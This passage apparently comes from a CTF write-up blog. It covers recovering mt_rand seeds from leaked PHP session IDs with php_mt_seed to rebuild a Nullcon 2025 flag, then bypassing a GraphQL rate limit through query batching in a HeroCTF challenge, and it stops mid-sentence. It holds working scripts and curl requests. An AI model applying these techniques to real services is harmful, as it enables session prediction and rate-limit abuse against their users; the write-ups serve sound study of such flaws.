sc_0nsixk5_mrr8xa5f4hday65tfxxbhx_bc-h282v9cq0v-c7uqmrrvr3dxohraf78i0emwdtkg1dlrpe9p-u9nss_pp4hjw_1suj3q7ptdc53mkyrh2idnlaj0qys5i5l-753macfng3r18cv99spw6w-rfg6kaszppn55ixq08q4kive0jr1l31bipcdx53rf0m5wjtah4fsmm36bive6lw3vt66tioky7h1uyx4_2uvkgi8jzh8sfavfo84hco4t-1oj6a5b536zgyq1g1-i_3tuueqh5zhfba5f2krxwissgpj14s2vwf_d0g4egl8_v3yxd781_w764v_myk8len471xifr4e1r_h5tt52uz6evkt8e2y1sgai5lz-1eruvlz_v6qsstuo77io9vf077hohd43kw9v-9xri6xevebt7zfq620ft6swlskv8bu_3142uomqxjbzlz-6dil14n46l0p06ehf4e91npqv7_nva9sk5gk11yiv_k79224xwkfdt3fmej5udmu1dwgxhuoeu4uzisey_2iplyozm4s_xl5t6hcjgm4ajn348egmaho0-cwz_e3275pb_6iiq0j773qniwgho53b5fuazl1e10ki8kbo8q6r0h7rvo6-irj_o0v7ve5vp-3ku0zlojz1ychhp5bdzlgiqmjre3lap8qljf3i3dav0z_2dj9boh29qo_0uhqczp2myh-8_zkhhlx1vxwbmc65par9wzjmg5dom449cqdcxvxwgcu1vlqj1mombe-px1g6pbbap_e2153qk4yikd46ufwk1dklmsdd_eixmrvy1lq07nci86xa1nmgjgmrawf5-mf8mbpm4hi-fiznzguqm8ttozxxdk7h5lgbp7jonq0eew6m58oyws_h7_44ggc_sgbvy7_oxvtyyds-w9s664afuk_8xlekl_4-txneg6v5jure99mh9z1ee_o2113qdjl8ge6tsx_-d2_-jxl7 Flag chunk 2: g1c84ou8utwl84j_6i58590s73_sq16pyu4wz2l1c64t5569iw6t111ra--zt5rejece6zekx-jzt4a887e5b-i-nc2m_74jz9m-49zunlb86838s1sd99usztvfrtk7tyvzma_lp9m54mpl-l6o8t-7s841qfqtjms5h7asdx68d358qj092ad7pe273-3f55xl3gkitei6avduldbjwcimk3fd9fbdcl7rh9z5a20oxe3rsenugp5la9e38luvgqgj101rg-in193thfqc6vcb7tg_7bihl6qvi40_j0_1ar9oddvu45fgqe_5zs9aw7q2vpf2ia8vud2g2y5fsx3-ity62xz-2hca5j2s1uuof_4noikn9t9562ow704a62nln2-c3wncc2rn5lp9nj8vp1ju8otvakl61nj2tpqq2yzyho_vq3b1a8qcap7zvz0qowjj2io9r8xbya41dqwyczlfh_krd_lxp3h6euf2t9ghnbxe8_m0_xpy6j-wu2jakvnhdao0p7i37ilrv2n4t-j-of517_zoat8yjk7vtj8qe_3g6b9nm1przgyl0us6h87lp212tz4pqozhmt7bk-gjnybpmc7c9jq3mr7-auj82kv87xi3srfdask7vrldm1pen2olu8oal92871r8cccad917m_7hyisn_lik1-smgvj7ggitl12bra26ziusf1mtczmbd15gab9cg75zljb_36ci8af656r7jymgqrwbe4xxxuxyczct3d4daubln_3kh6u90_htmyrrj3ps4mqq-bfw3i4o57c2ivflas57wews4989w56w7bcilzr2_ascr--21fais7kvilcu1nkoxqa-h731cssy0lu85mkcg-ezkuq7nk456f1924by8e-ghx76h8nl4-nc1uy0wbwg5n2geymxlxn1h2jx7plzab3vyksgyva_xpckwdvqkh1ftp0w_6jgfgdtdsf0dxo0cx02-7bdrawl Flag chunk 3: 0po4g-sbcvss9qnfkcm65kjz6zp9j32ujl5c9977k74a0s7o0rbn4p1ol9dahyv-9-grbplrw9j_mwjmq581gp2-ozmwv4ci2ufozasv26b3wzj6kqonzdra9hfwvev2a4ir48vw9-6vgj97h6_2ena_l460-7agxencbqs3og4gr8qxia6k7l6x39h8h94d8191hg-rkvd_58aae783ugm7pvtlwaswk14wyj_3yc7xji-ao5t_375y0b0yvem83-5i4hnyx0-9e1fvg5o81ykatzidbr3zef-yhi4td43k90kld0cd--66nlut1-b2rlow_td-grt9g7a53dh3p3x0fgzqfp4xw-q99y1mfl31ui9dx4xhy2bpc_azrwmt-dh7igg33yu32i0ad_-cu7wzt3k6d_1rptt_7e0sigld_6k03-xgv6yf2brp9x_s05yaifnbn-5y0n9a5nzi3yzb0qxpb67bt9-h2p_5z8n-u545mx19c3nshqqmj2h92iz67fdcnknd6w8rhvz5nk20mqmhy3pzrc0s0-d7hhotq50v1i6qaejswsmgt7ennmswlf9raqi3qmttqj98lvcm42j-hlkb7nztxhrq3uws96o-7i3kzf0340ngn9289nenkcgz6ubaaz82wqzz3jjdsh4fl7ufcy-vpggv_u7ojb2qhlhtfe2f187y14u226wx98111lji_8yd67-lwyioq5m9enis9kletlg196426cmlhsxa8hozijztx0t1v4qqyybr8e5c3-tthvp23ldx55xt6mutechs-laiptjcyrkble529-e8563jsrhvb_lbddqywpuvivgcxsd63yf8-94k6vf7ny74m36dvqzwzlhgn0w4d3io3pw6zh5qp964pz84dlzff84imftvqe0hyawv_b1abqyzlmfay3gnin5j7qaatq2rz96btlr867pcc30sm8eg9xqoddhd3nk63yiz1zupyusth_wj Flag chunk 4: 9fvvmt2mgj7x-n1fu4_piinllkox609ha122fdeb-8urxd6__8f3mchcy1-mvv_lmv0jwv6xlhf3u6sp4vs1ctc-cwet4jjup01ooz34vdrlxnfz7r54bf5ue0up7mpm6sjcmq-1eqedn4offhoors-spl3qovbe6_re-pwhcqhlgadpzy5jwxdkiqr3jjmsz7rue3gsdrvfpbs0v30bb1fl7a2judd11quycb8s0zgsg-82nqu9nvy_5nml6t90p0zgs4k2b9jinf46js1e9frgkklqp7ydtv1emtjuub6kviz9h5b-3cbiyj34aga_xou2cwto882c5c7ec3k7gcxk4vc8-1p5bubhbv1eptsliz1n8qhwo7f5z1my0euilka_slfbwtdp685v5rrep3v3utln1n-our6g_mwvq0g9wn-l3uz3h3mqex2or_dlme6f7pyaw6ym11-rlm0zy6b1flf6pby3jus1f2v6n2pf6hyy0rmots384i94qv-wnk5wgoypfpk3u-muwhwvbw4foznxot6g9dqiow67c4yczj2fcjqnj8zuuuun-b4kbms96gumll1jljtqt3cd9glj6w7kgvsyc81vkhxxdplrfrh18j1t_sm-u8gbytmv5mse9enwudxb_x-5o982drkoyt347f15_g-_97zcu-nz6317jse4hwdtcfd4wbrx7mhrdaik553q9wf4m9mbt4e5zgc2bofpkv386ceop-uh00pzuj12cgnfixgtw7_ehyg_55srvdd7wf1cgz1zflsmaxw8_evyft93oa82lybq8x157sohj3tj8dr7ogrtg_bwijcv7ivjirhp1grxoy2ghm-ear-d6liswceuhtp6cqjs13l8nqdtqycm4ljgw4tlvfh7gndxsipstwxfj53kzx_1w080g8wut-w6nc-ngp92zcrhe4b5kl7g2lt_9-su8r4naz9nvw5-m1g7du16ugbgimnzob58a9ei Flag chunk 5: thw9343nszorwv8ckn1dw_mthklympt0z1_j4o1eg-0yvrivd9nxtlr99yqc4c7-1xps0-3f2al24w1lqq8zh26agqnppf4ajy2l6k_hl3-ijal67uhz83xx7t4c_xbnl79ls_2puxsnpfk5wtd1dbbig5a5lplmhle5vsldq7fh41g01fl-wjll5xbf4spnlr-waoqztazn673otp5c6hlkhwvw4q6i9rf7zfn3p-y-h8mwuatcij7pa2jd5jln5pqp92pn0-x4lgbtnaezu5stixwk1at4oef464sg09neshabbze1f60wvyaexlwh2577gq2g7znlr0y91y_xflwq3zn-lsdb1f7whq8r2y89h1hcrvr3l9cdrdzmzja25ss3f6pm2ullp5k39d6z7uiol8vmjmwfxk-1ydirxq45jw07smqohmmrf-162olfaz5dhzd1753-57v7mkkwl60p1pho1l16hoxvhxe2zyumnbizscb5q-97tbjyw5dr1d-n_kg2wqs3ftiu9gm8k6nizrhbu8ip255akm5suld9rtigzgxhh4_pnk9z-rb3x6jxdoxggsyp5ulzaecphhe8dm3xcew44tto2vspzvlfjhmih2xeuuv5m6ae3ebmgulef0-seohpqgd1mqa83h7apcwwq28e0er-x4s6idlffyx32d5dy5y0ahgdcrmjc-25o-f72nihamy3s41jlaokhyjydi7ozjjhaiwr5we60q3l7gbtymrrgws54bhxo4h77p8efmwtbpanmt7eyyzdvyolwp12be54z0ekg5ndi23yfy2bdbkixowh2n_tvk4suuy8shrkfjyn9lz17dijpz-408ah7qgz3a7o5b_91own5z6rmh-q-rzh-crcxb4rw004w98xmt8ksc2e3avuew710eclj7-s3s86agh7qvorzw9sfcf9hcads005piqv9wovdo37csfwper2nyc0n30k6ul4swvpqf97 Flag chunk 6: 8esmqjz4i1gn01-dulpookzbsrayhkuej5ecl44itncptzf0m10iygm3tky8elibnvucuce_jro1bucp5e14x7p7txv1au5ojo60g-ucx19lmumas65082pqykolwam5t661rekjr0qp-cghcmoouzrhte1jn1s16fxbm_a3nkv-y5t7j-j-lcmj6mr4kt4u25e1a1jcmvdvghdn0s8gg2n1_rlmb3babaqh7xf1quustywt_o6eedl_irbp72yo0r3dav3si779ebb3ncuk6fobqqc-9thcy544_yfzgyyu9v2x0h7gnbp3se30wio13e8liix9epfyb27b-lpw4ibr85kly_lvmu3wvh2_htdupiuxas11_h0j0ini-zvmosrubbtwxzwch1sk3qxa1wbeglmhcmgjdrh25zg41odaxtn4j4p7jr1bx-reijji4tjo2_z2s0y6n6bdr7y5y05e5_zjzglkafy0d_wdi7lxw9zgy5ww2fsshdftccl4p8-v_inurh3-e3kj6li0lij5p5d1sv-1w61_jj_yxr0eeo-fbqdhb8aonlinzu0t7tb65lrg42ks5-_d3ahbs0qc6nejmlo6uks22fuq92wzb_-xjcrkdh4fb_aoz144oahz72eymbxrri7zgk4d2rgbkyawed39x6__lx8o0xnnjxl8vr__8s2wcdtz1fkofkyf_3rbmn11imaq36-4zxqy5mjecw8hjcxe3djijx3-a06vfhizgke8l28t3u8wir2jx8ybocnm4d-o-dsk9zy623jl-bgpwxaab52nlurqt_r18yz6_6tte8f73strfi-u12lh8-c8qapiazbm6or526wb7fqo-s3vk6x0inq--ie_8nubmh4azzj9x4-xsklwnnkxx69pi7usg4xxlpuceja3mg-n63a0pu82od7nttmxi_c9x_2l6d6iht1-9nnxsxxovfo9lg-vm46roidnd_vh9y_6-pbza3-r Flag chunk 7: d5k28813ss1i_eitqvatanj3p3v5xxzbdvzbl6la00id6w6hxi9bcmvxoxc7lax6gkd2n33791fwrimzskzxx0uurjp3-950ks_77u-v618ab5s_jrvra98n1fz2nu5gst3ws_uv6ojj2v_g9408v97b8y0-8e6ha8ia8ywbbpy19pw--994_ei_venkr216g4j26prm6d00-b9ug67o-ulfbf44b9k50iyk7sndabixbos_zu1ri68uxdvkq7e05ci60if_ma22r29s-xrs9r2j0x_s862mhoxosonfcn7pmpc47ehege8l_knoqmafdhc06oixw41sjgmtj5-vorus1kaqjqqgj71wrfdmv0r6dvs-35ojw7bi_9uchqyxufbhsfbz0bkg63q-lwtgxzvqy979xc-g7acp546fdca6fsnkazqy-al6h14n36t4c80fpub1i35m3f9d65175-9vc318m13cib3lghr7jv8rooi463byy_-q_ercfmkak0406n2iz7dd97ol35fwzz1kj-15hqcfpme2g208n0w32k0vv4k8r3fboptk-_k0f-4ejq51um148yrekbxf9cvkeg1fujlgwaimtzw_n8y1dnw4_c6lh8_6irsdlzavkulc25eh0n5ox4z2amg_rag35z9n6dyc_fe__f0ettav8hxmh2w6dp7o-lp-2s_vt5bgp7eeq7nfm8_l8nxsz4xhcc_ilj90uz89okljya2qyr5v-85crhh3gi7bocud0sdy8zdlze8td0b-xsevzw4lk2-6q84g_t_e5ili5z00rrd7roc4-3q90ca8blttyyrp6knsick63btsh4bf9pao9bxqrb2m7idi1hlbsmp5l-n3pfdwkmw37l1_8iu53v3sszhp7dta7vuw48bgiujkiqwbb6ywraw_6_qohlp8wm42unch4d9c3i976pq2evpt0dcj3qzcgng16da4u8s0ejr6klra584ns-p9 Flag chunk 8: u78grj0cjwuogn8-utrqg5j_b2pvgd3fl6-6up9-bs0cft0bw-7_zwa7sr2xdbjh7utiing8b-cafzm9yxurm6eyn6gpba3nmuv457vafcdsfr9lipsdlo-qaty3gzmzuyu_4haeeewqa9zkxx5lj23d5iuf6xz-0walxmwwzfej4gq9zw3ta2ogpl3f7lh_qzd26db8b-_zwdyyspk20qklo-rne26cq96o3at8lq45n8rdyr-wsx8yr_x4d4g6nx5ll-729w7gm7m80ddzx6b9v-q58fg2t51m-to9uwwzv1c5yvzhhvo7w-x89f8uqzw_i7hjttd5__9ihmi91pn1j6_p6hon29rl1wm49nwwp_j6h9yq87cerq8tzd1jtt6254-_p02wi0b7nt3ozvof00myn4pz4y29mfka9bau5nc2fbwlnmvs4y3383b4_rey50jxd5sxli90qg945fa3iqgmz3jjq47_fj5zooypd1-d_h_s01eckz2t3mu3315etbhfy1rappjq_ko82yd39i7742_kfkzehkcpko49r3kdryr9x9n2oo-lpzlep5ur6t4j1o4prajjl82q7-o95wd2i4phoqyrc53dx3mwa4sn-v0lcn4npdhucnu4i5_e8iqkukfrwa616trxqn3jjfb3t7axda-tlkng5-yietkngvls1-vu09n75c15jnjmhskz9op-9hymiqt6ap4f0ut-knqoh648zfj2bwh6ap9lt0hvu_ix1z67cgnq4_x9q87v_wphuy86qidh_e8g3ue8k12cchv-j2efnni8ebnp1uheiv4-m7z38c9kbu20nreomd2gq4hln_-k2rr-yie9b8r_wuypy7f8kys46n5zontbrqhb9m3hv6cim_m7tlo2tcwpsrxpn_u90-1n_7rxe5sn4ttn4wo-986y5he0fs19tsxt7y3z5qqel1prr-s7z777s0o7bq97-us099ykj_vjg7_hy_b- Flag chunk 9: a-jtqk69cbq5k2n1asouw_-c01e3q2o7kecbeg2_k1psqvqj9b2htoojg5s4o4sqbbz43onpib60am4jjbjzig6yw5nexm4c3dycn9ntoda1tsn_xl0swl_h3eww1retewksr9qyz1vhe8v-cyi2txn319-fancgqy0dnipm4069vpwwwdbyrayobopk3u0ivs8gb421xkt6nmktb7-d16_ospqq0wmsmpltenk_zsov80gs9dany5c4krv5fn3hk7of4fcgcn8xezbkf078bv3hn3046qstk0bsc36p39m-120s44pl9ggibpor1kau1k_jhuhaad7ckpjibkd9x_q0pckshxsm-9t8oox4p52-bbwid77ixyw9susgtjid-cv7kac5rtiuux73ckt88qf21eg3s3custo6_o25y8w709qfguzzddl7wfd0_vjucjm6qcwtzwg4i15_qshz4x74d-rxi05bc7dpn9x9_a2oppxpjs6j6jmik_niltmqlb586kw-xcbma62x1vd08_0-m055k1uzm82z_tat9mw7nogzhqmf0ib6_6uttaeuqkzfrd8mm5qpvsrwjagf87jkhlg2p52dlwp5fwxjhoya8ensjpe3q-g2a1rq-n8wmziqa9vklxmjinm27mo512hnzvxzytqb0hejnjt8122gxf0xlpwzkmt8z2lfcwkvjjy-5xfp516gmg1ybmk4c1wzh5p4oqkvf6v5tunb2p3id8c_mpsjfmpufmteaq7ty83xa6ggrtm7jgu55n6lu-ejthx-_ont4imfrrohshk7bse9m1h1fosssayzh7qj338kevwr8u24jwtf1qo0v_l7hj03c6i93v-9q7bb6gfx3ymtbjr-lwf9g2utha37spum9y04nz03uwq5s9_roil8zv68d6oczfkhe3dlhvq_0x8lhgearklcx2936x_lhtbph7_uprmte9gtqtcow64xdjphlx0t9n8vqgst Extracting PRNG Output from Session ID First map each session-ID character back to its ALPHA index, which recovers the raw mt_rand() outputs:\ndefine(\u0026#34;ALPHA\u0026#34;, str_split(\u0026#34;abcdefghijklmnopqrstuvwxyz0123456789_-\u0026#34;)); function get_indices($session_id) { $indices = []; for ($i = 0; $i \u0026lt; strlen($session_id); $i++) { $indices[] = array_search($session_id[$i], ALPHA); } return $indices; } // Replace \u0026#39;retrieved_session_id_here\u0026#39; with the session ID you captured. $session_id = \u0026#34;retrieved_session_id_here\u0026#34;; print_r(get_indices($session_id)); Example output for a session ID like \u0026quot;ab9_c-...\u0026quot;:\n[0, 1, 35, 36, 2, 37, ...] These indices are the raw output from the PRNG function (mt_rand(0, 37)).\nFeeding Data to php_mt_seed php_mt_seed takes observations as groups of four numbers:\n./php_mt_seed \u0026lt;min_value_generated\u0026gt; \u0026lt;max_value_generated\u0026gt; \u0026lt;min_possible_value\u0026gt; \u0026lt;max_possible_value\u0026gt; Since we know each output exactly, min_value_generated == max_value_generated (the index), and the possible range is always 0 37. One observation isn\u0026rsquo;t enough to pin the Twister\u0026rsquo;s 624-word state, so we pass the first ~10 indices of a session at once. For indices [22, 10, 15, 35, 0]:\n./php_mt_seed 22 22 0 37 10 10 0 37 15 15 0 37 35 35 0 37 0 0 0 37 Building these by hand is error-prone, so a script turns a session ID straight into the command:\n\u0026lt;?php // Define the ALPHA array to map characters to indices define(\u0026#34;ALPHA\u0026#34;, str_split(\u0026#34;abcdefghijklmnopqrstuvwxyz0123456789_-\u0026#34;)); function get_indices($session_id) { $indices = []; for ($i = 0; $i \u0026lt; strlen($session_id); $i++) { $indices[] = array_search($session_id[$i], ALPHA); } return $indices; } // Function to generate the php_mt_seed command function generate_php_mt_seed_command($session_id, $num_indices = 10) { $indices = get_indices($session_id); $command = \u0026#34;./php_mt_seed\u0026#34;; // Generate input for the first `num_indices` indices for ($i = 0; $i \u0026lt; $num_indices; $i++) { if (isset($indices[$i])) { $min_value = $indices[$i]; $max_value = $indices[$i]; // Append the format \u0026#34;\u0026lt;min_value\u0026gt; \u0026lt;max_value\u0026gt; \u0026lt;min_possible\u0026gt; \u0026lt;max_possible\u0026gt;\u0026#34; to the command $command .= \u0026#34; $min_value $max_value 0 37\u0026#34;; } } return $command; } $session_id = $argv[1]; // First argument is the session ID $num_indices = $argc \u0026gt;= 3 ? intval($argv[2]) : 10; // Second optional argument is the number of indices // Generate and print the php_mt_seed command $command = generate_php_mt_seed_command($session_id, $num_indices); echo \u0026#34;Generated php_mt_seed command:\\n\u0026#34;; echo $command . \u0026#34;\\n\u0026#34;; ?\u0026gt; Output for each session ID:\nphp extract_index.php 8bwxvicb2ogv1_3akeawjgpxzh...[TRUNCATED]... ./php_mt_seed 34 34 0 37 1 1 0 37 22 22 0 37 23 23 0 37 21 21 0 37 8 8 0 37 2 2 0 37 1 1 0 37 28 28 0 37 14 14 0 37 php extract_index.php sc_0nsixk5_mrr8xa5f4hday65...[TRUNCATED]... ./php_mt_seed 18 18 0 37 2 2 0 37 36 36 0 37 26 26 0 37 13 13 0 37 18 18 0 37 8 8 0 37 23 23 0 37 10 10 0 37 31 31 0 37 php extract_index.php g1c84ou8utwl84j_6i58590s73...[TRUNCATED]... ./php_mt_seed 6 6 0 37 27 27 0 37 2 2 0 37 34 34 0 37 30 30 0 37 14 14 0 37 20 20 0 37 34 34 0 37 20 20 0 37 19 19 0 37 php extract_index.php 0po4g-sbcvss9qnfkcm65kjz6z...[TRUNCATED]... ./php_mt_seed 26 26 0 37 15 15 0 37 14 14 0 37 30 30 0 37 6 6 0 37 37 37 0 37 18 18 0 37 1 1 0 37 2 2 0 37 21 21 0 37 php extract_index.php 9fvvmt2mgj7x-n1fu4_piinllko...[TRUNCATED]... ./php_mt_seed 35 35 0 37 5 5 0 37 21 21 0 37 21 21 0 37 12 12 0 37 19 19 0 37 28 28 0 37 12 12 0 37 6 6 0 37 9 9 0 37 php extract_index.php thw9343nszorwv8ckn1dw_mthkl...[TRUNCATED]... ./php_mt_seed 19 19 0 37 7 7 0 37 22 22 0 37 35 35 0 37 29 29 0 37 30 30 0 37 29 29 0 37 13 13 0 37 18 18 0 37 25 25 0 37 php extract_index.php 8esmqjz4i1gn01-dulpookzbsra...[TRUNCATED]... ./php_mt_seed 34 34 0 37 4 4 0 37 18 18 0 37 12 12 0 37 16 16 0 37 9 9 0 37 25 25 0 37 30 30 0 37 8 8 0 37 27 27 0 37 php extract_index.php d5k28813ss1i_eitqvatanj3p3v...[TRUNCATED]... ./php_mt_seed 3 3 0 37 31 31 0 37 10 10 0 37 28 28 0 37 34 34 0 37 34 34 0 37 27 27 0 37 29 29 0 37 18 18 0 37 18 18 0 37 php extract_index.php u78grj0cjwuogn8-utrqg5j_b2p...[TRUNCATED]... ./php_mt_seed 20 20 0 37 33 33 0 37 34 34 0 37 6 6 0 37 17 17 0 37 9 9 0 37 26 26 0 37 2 2 0 37 9 9 0 37 22 22 0 37 php extract_index.php a-jtqk69cbq5k2n1asouw_-c01e...[TRUNCATED]... ./php_mt_seed 0 0 0 37 37 37 0 37 9 9 0 37 19 19 0 37 16 16 0 37 10 10 0 37 32 32 0 37 35 35 0 37 2 2 0 37 1 1 0 37 Which gives us this list of commands to run:\n./php_mt_seed 34 34 0 37 1 1 0 37 22 22 0 37 23 23 0 37 21 21 0 37 8 8 0 37 2 2 0 37 1 1 0 37 28 28 0 37 14 14 0 37 ./php_mt_seed 18 18 0 37 2 2 0 37 36 36 0 37 26 26 0 37 13 13 0 37 18 18 0 37 8 8 0 37 23 23 0 37 10 10 0 37 31 31 0 37 ./php_mt_seed 6 6 0 37 27 27 0 37 2 2 0 37 34 34 0 37 30 30 0 37 14 14 0 37 20 20 0 37 34 34 0 37 20 20 0 37 19 19 0 37 ./php_mt_seed 26 26 0 37 15 15 0 37 14 14 0 37 30 30 0 37 6 6 0 37 37 37 0 37 18 18 0 37 1 1 0 37 2 2 0 37 21 21 0 37 ./php_mt_seed 35 35 0 37 5 5 0 37 21 21 0 37 21 21 0 37 12 12 0 37 19 19 0 37 28 28 0 37 12 12 0 37 6 6 0 37 9 9 0 37 ./php_mt_seed 19 19 0 37 7 7 0 37 22 22 0 37 35 35 0 37 29 29 0 37 30 30 0 37 29 29 0 37 13 13 0 37 18 18 0 37 25 25 0 37 ./php_mt_seed 34 34 0 37 4 4 0 37 18 18 0 37 12 12 0 37 16 16 0 37 9 9 0 37 25 25 0 37 30 30 0 37 8 8 0 37 27 27 0 37 ./php_mt_seed 3 3 0 37 31 31 0 37 10 10 0 37 28 28 0 37 34 34 0 37 34 34 0 37 27 27 0 37 29 29 0 37 18 18 0 37 18 18 0 37 ./php_mt_seed 20 20 0 37 33 33 0 37 34 34 0 37 6 6 0 37 17 17 0 37 9 9 0 37 26 26 0 37 2 2 0 37 9 9 0 37 22 22 0 37 ./php_mt_seed 0 0 0 37 37 37 0 37 9 9 0 37 19 19 0 37 16 16 0 37 10 10 0 37 32 32 0 37 35 35 0 37 2 2 0 37 1 1 0 37 Running the Command and Interpreting the Output Running each command in turn recovers the seeds. The first one:\ngives seed 1162760059:\nseed = 0x454e4f7b = 1162760059 (PHP 7.1.0+) That hex, 0x454e4f7b, is already recognizable as ENO{. Running the rest:\nWhich gives us the following seed values:\n0: 1162760059 1: 1397706053 2: 1599296848 3: 1163026259 4: 1162040658 5: 1163871820 6: 1095196465 7: 858993459 8: 859266888 9: 1094929277 Interpreting the Reversed Seed Each seed is intval(bin2hex($SEEDS[index]), 16), so reversing it, hex then back to bytes, gives the flag chunk. Doing that for all ten:\n\u0026lt;?php $seeds = [1162760059, 1397706053, 1599296848, 1163026259, 1162040658, 1163871820, 1095196465, 858993459, 859266888, 1094929277]; $dehashedValues = []; foreach ($seeds as $seed) { $dehashedValue = hex2bin(dechex($seed)); echo \u0026#34;Dehashed: \u0026#34; . hex2bin(dechex($seed)) . \u0026#34;\\n\u0026#34;; $dehashedValues[] = $dehashedValue; } $concatenatedResult = implode(\u0026#39;\u0026#39;, $dehashedValues); echo \u0026#34;Concatenated Dehashed Values: \u0026#34; . $concatenatedResult . \u0026#34;\\n\u0026#34;; ?\u0026gt; Output:\nDehashed: ENO{ Dehashed: SOME Dehashed: _SUP Dehashed: ER_S Dehashed: ECUR Dehashed: E_FL Dehashed: AG_1 Dehashed: 3333 Dehashed: 37_H Dehashed: ACK} Concatenated Dehashed Values: ENO{SOME_SUPER_SECURE_FLAG_1333337_HACK} And there\u0026rsquo;s the flag: ENO{SOME_SUPER_SECURE_FLAG_1333337_HACK}.\nTips \u0026amp; Tricks mt_rand() is reversible. A seeded Mersenne Twister is deterministic, so leaked outputs let you recover the seed. Never use it for anything secret. Precompute MD5 prefixes. Finding inputs whose hash starts with a target digit is a quick brute force; precomputing one per digit saved real time here. php_mt_seed wants a batch. One output won\u0026rsquo;t do; feed it 10-15 consecutive values and it reliably recovers the seed. Debug each stage on its own. Index extraction, seed reversal and chunk decoding each have their own failure modes, test them separately. ","date":"2025-02-03T00:00:00Z","image":"/images/nullcon/web/sessio_php_mt_seed_0.png","permalink":"/posts/ctf/nullcon-goa-hackim-ctf-2025/sess-io/","title":"Reversing PHP mt_rand() to recover a flag from session IDs - Nullcon Goa 2025"},{"content":"Description:\nAn anonymous company has decided to publish a ranking of the best schools, based on the number of clicks on a button! Make sure to put the \u0026#39;Flag CyberSecurity School\u0026#39; in first place and you will get your reward! The page shows a list of schools and their vote counts. Each school has an I'm at this school button that adds one vote, with a rate limit to stop button spamming.\nOnce \u0026lsquo;Flag CyberSecurity School\u0026rsquo; has more votes than the rest, the Get The Flag! button hands over the flag.\nVoting fires a POST request to the app\u0026rsquo;s GraphQL API. It\u0026rsquo;s a mutation calling increaseClickSchool with the school name as a parameter.\nThe request in cURL format:\ncurl \u0026#39;http://dyn-03.heroctf.fr:10048/graphql\u0026#39; \\ -H \u0026#39;Content-Type: application/json\u0026#39; \\ --data-raw \u0026#39;{\u0026#34;query\u0026#34;:\u0026#34;mutation { increaseClickSchool(schoolName: \\\u0026#34;Flag CyberSecurity School\\\u0026#34;){schoolId, nbClick} }\u0026#34;}\u0026#39; When the request is not limited by the rate limit, we receive a response like this:\n{\u0026#34;data\u0026#34;:{\u0026#34;increaseClickSchool\u0026#34;:{\u0026#34;schoolId\u0026#34;:3,\u0026#34;nbClick\u0026#34;:4}}} However, when the request is limited, we receive a response like this:\n{\u0026#34;code\u0026#34;:429,\u0026#34;error\u0026#34;:\u0026#34;You\u0026#39;re going too fast!\u0026#34;} A quick script measures the rate limit by hammering the endpoint:\nimport requests import time url = \u0026#34;http://dyn-03.heroctf.fr:10048/graphql\u0026#34; headers = {\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;} data = \u0026#39;{\u0026#34;query\u0026#34;:\u0026#34;mutation { increaseClickSchool(schoolName: \\\\\u0026#34;Flag CyberSecurity School\\\\\u0026#34;){schoolId, nbClick} }\u0026#34;}\u0026#39; seconds = 0 while True: r = requests.post(url, headers=headers, data=data) if r.status_code == 200: print(r.text) print(\u0026#34;Seconds elapsed: \u0026#34; + str(seconds)) seconds = 0 elif r.status_code == 429: print(\u0026#34;Rate limit exceeded, waiting 1 second...\u0026#34;) time.sleep(1) seconds += 1 else: print(\u0026#34;Error\u0026#34;) break It tries to bump the score every second and prints how many seconds passed between two successful requests:\n{\u0026#34;data\u0026#34;:{\u0026#34;increaseClickSchool\u0026#34;:{\u0026#34;schoolId\u0026#34;:3,\u0026#34;nbClick\u0026#34;:4}}} Rate limit exceeded, waiting 1 second... ... Rate limit exceeded, waiting 1 second... {\u0026#34;data\u0026#34;:{\u0026#34;increaseClickSchool\u0026#34;:{\u0026#34;schoolId\u0026#34;:3,\u0026#34;nbClick\u0026#34;:5}}} Seconds elapsed: 59 So the rate limit is 60 seconds. HeroCTF instances only stay up for 45 minutes, so one vote a minute caps us at 45 votes, nowhere near the 1337 held by The Best Best CyberSecurity School.\nI spent a while on introspection queries (they\u0026rsquo;re enabled on the API) before accepting I was off track: there\u0026rsquo;s no flag hiding in the GraphQL schema. The only real obstacle is that 60-second rate limit.\nReading up on rate-limit bypasses, I hit an OWASP page on \u0026ldquo;batching attacks\u0026rdquo;:\nGraphQL supports batching requests, also known as query batching. This lets callers batch multiple queries or batch requests for multiple object instances in a single network call, which allows for what is called a batching attack. This is a form of brute force attack, specific to GraphQL, that usually allows for faster and less detectable exploits. Here is the most common way to do query batching:\n[ { query: \u0026lt; query 0 \u0026gt;, variables: \u0026lt; variables for query 0 \u0026gt;, }, { query: \u0026lt; query 1 \u0026gt;, variables: \u0026lt; variables for query 1 \u0026gt;, }, { query: \u0026lt; query n \u0026gt; variables: \u0026lt; variables for query n \u0026gt;, } ] In our case that means a request like this:\n[ { query: \u0026#34;mutation { increaseClickSchool(schoolName: \\\u0026#34;Flag CyberSecurity School\\\u0026#34;){schoolId, nbClick} }\u0026#34; }, { query: \u0026#34;mutation { increaseClickSchool(schoolName: \\\u0026#34;Flag CyberSecurity School\\\u0026#34;){schoolId, nbClick} }\u0026#34; }, { query: \u0026#34;mutation { increaseClickSchool(schoolName: \\\u0026#34;Flag CyberSecurity School\\\u0026#34;){schoolId, nbClick} }\u0026#34; }, ... ] This cURL request bumps the score by 3 points in one shot:\ncurl \u0026#39;http://dyn-03.heroctf.fr:10048/graphql\u0026#39; \\ -H \u0026#39;Content-Type: application/json\u0026#39; \\ --data-raw \u0026#39;[ { \u0026#34;query\u0026#34;: \u0026#34;mutation { increaseClickSchool(schoolName: \\\u0026#34;Flag CyberSecurity School\\\u0026#34;){schoolId, nbClick} }\u0026#34; },{ \u0026#34;query\u0026#34;: \u0026#34;mutation { increaseClickSchool(schoolName: \\\u0026#34;Flag CyberSecurity School\\\u0026#34;){schoolId, nbClick} }\u0026#34; },{ \u0026#34;query\u0026#34;: \u0026#34;mutation { increaseClickSchool(schoolName: \\\u0026#34;Flag CyberSecurity School\\\u0026#34;){schoolId, nbClick} }\u0026#34; }]\u0026#39; [ { \u0026#34;data\u0026#34;: { \u0026#34;increaseClickSchool\u0026#34;: { \u0026#34;schoolId\u0026#34;: 3, \u0026#34;nbClick\u0026#34;: 1 } } }, { \u0026#34;data\u0026#34;: { \u0026#34;increaseClickSchool\u0026#34;: { \u0026#34;schoolId\u0026#34;: 3, \u0026#34;nbClick\u0026#34;: 2 } } }, { \u0026#34;data\u0026#34;: { \u0026#34;increaseClickSchool\u0026#34;: { \u0026#34;schoolId\u0026#34;: 3, \u0026#34;nbClick\u0026#34;: 3 } } } ] From there it\u0026rsquo;s just a matter of scripting these batched requests until \u0026lsquo;Flag CyberSecurity School\u0026rsquo; passes 1337 